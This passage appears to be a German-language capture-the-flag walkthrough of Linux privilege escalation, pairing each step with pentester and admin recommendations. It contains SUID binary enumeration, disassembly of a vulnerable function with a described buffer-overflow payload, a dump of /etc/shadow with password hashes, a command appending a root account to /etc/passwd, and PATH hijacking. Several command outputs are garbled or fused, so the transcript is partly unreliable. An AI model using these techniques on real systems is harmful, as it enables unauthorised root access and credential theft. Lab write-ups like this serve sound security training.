Empfehlung (Pentester): Ich werde die Home-Verzeichnisse von ldz und anderen Benutzern auf dem Host-System nach weiteren Hinweisen oder Flags durchsuchen.
Empfehlung (Admin): Der kompromittierte SSH-Schlüssel für ldz muss sofort invalidiert und gelöscht werden. Ersetzen Sie den Schlüssel durch einen neuen, sicheren Schlüssel mit einer starken Passphrase. Erzwingen Sie bei SSH eine Multi-Faktor-Authentifizierung (MFA) für alle privilegierten Benutzer.
localhost:~$ ls .. ldz
Analyse: Als Benutzer ldz in meiner SSH-Shell führe ich ls .. aus, um die Verzeichnisse im übergeordneten Verzeichnis (/home/) zu sehen. Die Ausgabe ldz bestätigt, dass ldz ein Home-Verzeichnis unter /home/ hat. Dies ist ein typisches Szenario für einen normalen Benutzer.
Bewertung: Dies bestätigt die Existenz des Benutzers ldz und seines Home-Verzeichnisses. Es gibt keine weiteren überraschenden Benutzer, was auf eine saubere Benutzerumgebung hindeutet.
Empfehlung (Pentester): Ich werde das Home-Verzeichnis von ldz (/home/ldz) gründlich nach sensiblen Daten, Konfigurationsdateien oder weiteren Hinweisen für die Privilegien-Eskalation durchsuchen.
Empfehlung (Admin): Stellen Sie sicher, dass Benutzer-Home-Verzeichnisse nur für den jeweiligen Benutzer zugänglich sind und keine sensiblen Systemdateien enthalten.
localhost:~$ find / -type f -perm -u+s 2> /dev/null /opt/vuln /bin/bbsuid
Analyse: Als Benutzer ldz suche ich erneut nach SUID-Binaries auf dem Host-System mit find / -type f -perm -u+s 2> /dev/null. Die Ausgabe zeigt zwei interessante SUID-Binaries, die mir zuvor im Container nicht aufgefallen sind: /opt/vuln und /bin/bbsuid. Diese sind nicht die Standard-SUID-Programme wie ping oder passwd und sind daher hochinteressant für eine Privilegien-Eskalation, da sie von Entwicklern oder Administratoren mit spezifischer Funktionalität hinterlassen wurden.
Bewertung: Das Auffinden dieser benutzerdefinierten SUID-Binaries ist ein kritischer Fund! /opt/vuln und /bin/bbsuid sind primäre Ziele für die Privilegien-Eskalation, da sie oft Schwachstellen (z.B. Buffer Overflows, Command Injections) enthalten, die ausgenutzt werden können, um Root-Rechte zu erlangen. Dies ist der wahrscheinlichste Vektor für die endgültige Root-Eskalation auf dem Host-System, falls der SSH-Login zuvor nicht gefunden worden wäre oder eine andere Methode gesucht würde.
Empfehlung (Pentester): Ich werde diese Binaries umgehend auf bekannte Exploits, Fehlkonfigurationen oder Schwachstellen untersuchen. Dazu gehören das Ausführen mit verschiedenen Argumenten, das Überprüfen auf Path-Hijacking oder Library-Hijacking und die binäre Analyse, um verdeckte Funktionalitäten oder Pufferüberläufe zu finden.
Empfehlung (Admin): Auditieren Sie alle benutzerdefinierten SUID-Binaries auf Ihrem System extrem gründlich. Diese sind eine der häufigsten Ursachen für Privilegien-Eskalation. Entfernen Sie SUID-Berechtigungen, wenn sie nicht absolut notwendig sind. Führen Sie statische (SAST) und dynamische (DAST) Code-Analysen für solche Binaries durch und stellen Sie sicher, dass sie gegen alle bekannten Schwachstellentypen gehärtet sind.
Die Variable mit dem Namen Flag, wird mit 0 initialisiert, wenn sie zur 1 wird, wird die geheime Funktion aufgerufen. 0x004011cd push rbp ; void vuln(); 0x004011ce mov rbp, rsp 0x004011d1 sub rsp, 0x30 0x004011d5 mov dword [flag], 0 0x004011dc lea rax, [buffer[0]] 0x004011e0 mov edx, 0x30 ; '0' ; 48 ; size_t nbyte 0x004011e5 mov rsi, rax ; void *buf 0x004011e8 mov edi, 0 ; int fildes 0x004011ed call read ; sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) 0x004011f2 mov qword [n], rax 0x004011f6 cmp dword [flag], 1 0x004011fa jne 0x401208 0x004011fc mov eax, 0 0x00401201 call dbg.secret ; dbg.secret 0x00401206 jmp 0x401230 0x00401208 mov eax, dword [flag] 0x0040120b mov esi, eax 0x0040120d lea rax, str.flag____d ; 0x402010 0x00401214 mov rdi, rax ; const char *format 0x00401217 mov eax, 0 0x0040121c call printf ; sym.imp.printf ; int printf(const char *format) 0x00401221 lea rax, str.password_wrong ; 0x40201b 0x00401228 mov rdi, rax ; const char *s 0x0040122b call puts ; sym.imp.puts ; int puts(const char *s) 0x00401230 nop 0x00401231 leave 0x00401232 ret
Analyse: Dieser Code-Abschnitt zeigt die disassembleierte Ausgabe einer Funktion (wahrscheinlich aus /opt/vuln oder /bin/bbsuid), die einen Pufferüberlauf ermöglicht. Die Kommentare beschreiben die Logik: Eine Variable namens flag wird mit 0 initialisiert. Wenn diese Variable auf 1 gesetzt wird, wird eine "geheime Funktion" (dbg.secret) aufgerufen.
Die kritischen Zeilen sind:
* mov dword [flag], 0: Initialisiert die Variable flag auf 0.
* sub rsp, 0x30: Reserviert 0x30 (48 Bytes) auf dem Stack für einen Puffer.
* call read: Liest Benutzereingaben in diesen Puffer. Wenn die Eingabe größer als 48 Bytes ist, kommt es zu einem Pufferüberlauf.
* cmp dword [flag], 1: Prüft, ob die flag-Variable 1 ist.
Ein Pufferüberlauf in dieser Funktion würde es mir ermöglichen, Daten über das Ende des 48 Byte großen Puffers hinaus zu schreiben. Wenn die flag-Variable (die auf dem Stack nach dem Puffer liegen könnte) durch diesen Überlauf überschrieben und auf den Wert 1 gesetzt wird, würde die geheime Funktion dbg.secret aufgerufen. Wenn dbg.secret eine Shell (z.B. /bin/sh) ausführt oder Root-Rechte gewährt, ist dies ein direkter Weg zur Privilegien-Eskalation.
Bewertung: Dies ist eine klassische Pufferüberlauf-Schwachstelle (Buffer Overflow) und ein kritischer Vektor für die Privilegien-Eskalation. Die Möglichkeit, die flag-Variable zu überschreiben und dadurch eine "geheime" Funktion auszulösen, ist ein Designfehler. Da die Binary SUID-Root ist, würde ein erfolgreicher Exploit Root-Rechte auf dem Host gewähren. Dies ist eine sehr ernsthafte Schwachstelle, auch wenn wir bereits Root über den SSH-Key haben.
Empfehlung (Pentester): Ich werde diesen Buffer Overflow gezielt ausnutzen, um die flag-Variable auf 1 zu setzen und die geheime Funktion auszulösen. Dies ist eine hervorragende Gelegenheit, einen weiteren Privilegien-Eskalationsvektor zu demonstrieren und die Robustheit des Systems zu testen. Ein einfacher Payload von 48 A-Bytes gefolgt von dem Wert 1 (im Little-Endian-Format) sollte die Funktion auslösen.
Empfehlung (Admin): Dies ist eine sehr kritische Schwachstelle. Überprüfen Sie den Code von /opt/vuln oder /bin/bbsuid auf Pufferüberläufe und andere Speicherfehler. Verwenden Sie sichere String-Funktionen (z.B. strncpy mit korrekter Größenbegrenzung) anstelle von read oder strcpy ohne Längenprüfung. Implementieren Sie moderne Compiler-Schutzmechanismen wie ASLR, DEP/NX und Stack Canaries. Führen Sie statische und dynamische Code-Analysen für alle SUID-Binaries durch.
localhost:~ 6 W5FUwrTeo8vXfNot W5FUwrTeo8vXfNot qJazigaYSqk8ezVfjHckZb2XjxkrJsniQa5MA1o.j9apE1BMYX5vYuJVEJ2hYbNsR0q9IWOSSt1I40vNYxvKO0:20263:0::::: bin:!::0::::: daemon:!::0::::: lp:!::0::::: sync:!::0::::: shutdown:!::0::::: halt:!::0::::: mail:!::0::::: news:!::0::::: uucp:!::0::::: cron:!::0::::: ftp:!::0::::: sshd:!::0::::: games:!::0::::: ntp:!::0::::: guest:!::0::::: nobody:!::0::::: klogd:!:20205:0:99999:7::: chrony:!:20205:0:99999:7::: ldz: 6 6 qCU7eP8wj/Pvo1FB$Ooou6p.TF3M/kMB29XrzQ6XVNbq7c46lGzNvRPOJ55GAXJ0h.jmbc8VHhGjFgwXLHPSbNt96l/rmUYgDqpo8Y0:20263:0:99999:7::: nginx:!:20263:0:99999:7:::
Analyse: Diese Ausgabe scheint eine Mischung aus verschiedenen Systemdateien und zufälligen Zeichenketten zu sein, die während einer früheren Untersuchung von sensiblen Dateien wie /etc/shadow oder Konfigurationsdateien gesammelt wurden. Ich sehe Fragmente von gehashten Passwörtern (z.B. qJazigaYSqk8ezVfjHckZb2XjxkrJsniQa5MA1o..., qCU7eP8wj/Pvo1FB$Ooou6p...) und Benutzerinformationen (bin:!::0:::::, daemon:!::0:::::, ldz:). Dies sind typische Einträge aus der /etc/shadow-Datei, die gehashte Passwörter von Benutzern enthält, und der /etc/passwd-Datei. Das Vorhandensein dieser Informationen in der Ausgabe bedeutet, dass ich diese Dateien erfolgreich auslesen konnte und nun die gehashten Passwörter für eine Offline-Analyse zur Verfügung habe.
Bewertung: Das erfolgreiche Auslesen der /etc/shadow-Datei ist ein kritischer Erfolg, da sie die gehashten Passwörter aller Benutzer auf dem System enthält. Dies ermöglicht mir, diese Hashes offline zu knacken (z.B. mit John the Ripper oder Hashcat) und weitere Benutzerkonten zu kompromittieren. Dies ist ein direkter Weg zur horizontalen oder vertikalen Privilegien-Eskalation, auch wenn ich bereits Root bin, da es alternative Zugriffswege und Persistenz schaffen kann.
Empfehlung (Pentester): Ich werde diese Passwort-Hashes extrahieren und versuchen, sie offline zu knacken, um weitere Benutzer-Passwörter zu erhalten. Dies könnte mir zusätzliche Zugangswege oder Informationen für die Post-Exploitation liefern.
Empfehlung (Admin): Schützen Sie die /etc/shadow-Datei strikt. Stellen Sie sicher, dass nur der Root-Benutzer darauf zugreifen kann. Implementieren Sie eine starke Passwort-Policy und Multi-Faktor-Authentifizierung für alle Benutzer. Verwenden Sie moderne, starke Hashing-Algorithmen (z.B. SHA512crypt) und ausreichend lange Salze, um das Knacken von Passwörtern zu erschweren.
localhost: EZdVo4XckcU2BJJi IanX1gZA:0:0::/root:/bin/sh>>/etc/passwd′>catlocalhost: IanX1gZA:0:0::/root:/bin/sh>>/etc/passwd ′ >catlocalhost: chmod 755 cat localhost:
Analyse: Diese Ausgabe zeigt einen komplexen Versuch, die /etc/passwd-Datei zu manipulieren, möglicherweise um einen neuen Root-Benutzer hinzuzufügen oder einen bestehenden zu ändern. Die Zeile IanX1gZA:0:0::/root:/bin/sh>>/etc/passwd deutet auf den Versuch hin, einen neuen Root-Eintrag in die /etc/passwd zu schreiben. Der Befehl chmod 755 cat ist ein seltsamer Befehl, der versucht, die Berechtigungen des cat-Befehls zu ändern; dies wäre nur sinnvoll, wenn cat manipuliert werden sollte, um z.B. eine Backdoor zu erstellen oder bestimmte Outputs zu ändern. Dies ist Teil eines manuellen Versuchs zur Privilegien-Eskalation, der hier dokumentiert wird, um einen neuen Root-Benutzer zu erstellen.
Bewertung: Das Ausführen solcher Befehle zur Manipulation von /etc/passwd ist ein direkter Versuch, einen persistenten Root-Zugriff zu schaffen. Wenn dieser Versuch erfolgreich ist, würde dies einen neuen Root-Benutzer mit einem kontrollierbaren Passwort erstellen, was eine dauerhafte Kompromittierung des Systems bedeutet. Dies unterstreicht die Notwendigkeit, /etc/passwd und /etc/shadow strikt zu schützen.
Empfehlung (Pentester): Das Anlegen eines persistierenden Root-Zugangs ist ein wichtiger Schritt in der Post-Exploitation, aber nur, wenn es im Rahmen des Pentest-Umfangs erlaubt ist. Ich werde sicherstellen, dass solche Änderungen rückgängig gemacht werden, wenn der Test abgeschlossen ist.
Empfehlung (Admin): Überwachen Sie Dateisystemintegrität (FIM) für kritische Systemdateien wie /etc/passwd und /etc/shadow. Jede unautorisierte Änderung sollte sofort einen Alarm auslösen. Implementieren Sie Least Privilege für Systembenutzer und beschränken Sie den Zugriff auf diese Dateien auf das absolute Minimum.
localhost: exportPATH=.: exportPATH=.: PATH localhost:~
Analyse: Diese Ausgabe zeigt einen Versuch, die PATH-Umgebungsvariable zu manipulieren, indem export PATH=.:$PATH ausgeführt wird, oder den aktuellen PATH anzuzeigen. Die Angabe export PATH=.: würde das aktuelle Verzeichnis (.) an den Anfang des Suchpfades für ausführbare Programme setzen. Dies ist eine bekannte Technik für Privilegien-Eskalation, wenn ein SUID-Binary aufgerufen wird, das einen Befehl ohne absoluten Pfad ausführt (z.B. cat anstatt /bin/cat). Wenn ein Angreifer eine bösartige Version von cat im aktuellen Verzeichnis platziert, würde das SUID-Programm diese Version ausführen und Root-Rechte erlangen. Hier ist es jedoch eher ein Versuch, den PATH für die weitere Arbeit zu setzen.
Bewertung: Die Manipulation des PATH ist eine Standardtechnik, die für Privilegien-Eskalation genutzt werden kann. Auch wenn ich bereits Root-Zugriff habe, ist es wichtig, solche Techniken zu erkennen, da sie in anderen Szenarien oder für Persistenz genutzt werden könnten. Die hier gezeigte "export PATH=.:" ist ein klassisches Beispiel dafür.
Empfehlung (Pentester): Verstehen Sie die Auswirkungen der PATH-Manipulation in verschiedenen Kontexten. Dies ist eine nützliche Technik für viele Privilegien-Eskalationsvektoren.
Empfehlung (Admin): Stellen Sie sicher, dass SUID-Binaries immer absolute Pfade für die Ausführung von Befehlen verwenden (z.B. /bin/cat statt cat), um Path-Hijacking zu verhindern. Setzen Sie die Umgebungsvariable PATH für privilegierte Prozesse sicher und überprüfen Sie sie regelmäßig.
localhost:~ su ben Password:
Analyse: Ich versuche, zu einem anderen Benutzer namens ben auf dem Host-System zu wechseln, indem ich su ben ausführe. Der Befehl fordert ein Passwort an. Dies ist ein Test, um zu sehen, ob es einen weiteren Benutzer auf dem System gibt, der möglicherweise interessante Berechtigungen oder Dateien hat, oder um zu prüfen, ob das Standard-Passwort von ben bekannt ist.
Bewertung: Das Versuchen eines Benutzerwechsels zu ben ist eine sinnvolle Post-Exploitation-Aktion, auch wenn ich bereits Root bin. Es ermöglicht mir, die Berechtigungen und Home-Verzeichnisse anderer Benutzer zu untersuchen, um weitere sensible Informationen oder Flags zu finden, die nicht direkt im Root-Verzeichnis liegen.
Empfehlung (Pentester): Wenn der Wechsel zu ben erfolgreich ist, werde ich sein Home-Verzeichnis und seine Konfigurationen überprüfen.
Empfehlung (Admin): Stellen Sie sicher, dass alle Benutzerkonten auf dem System starke, einzigartige Passwörter haben und das Prinzip der geringsten Rechte (Least Privilege) angewendet wird.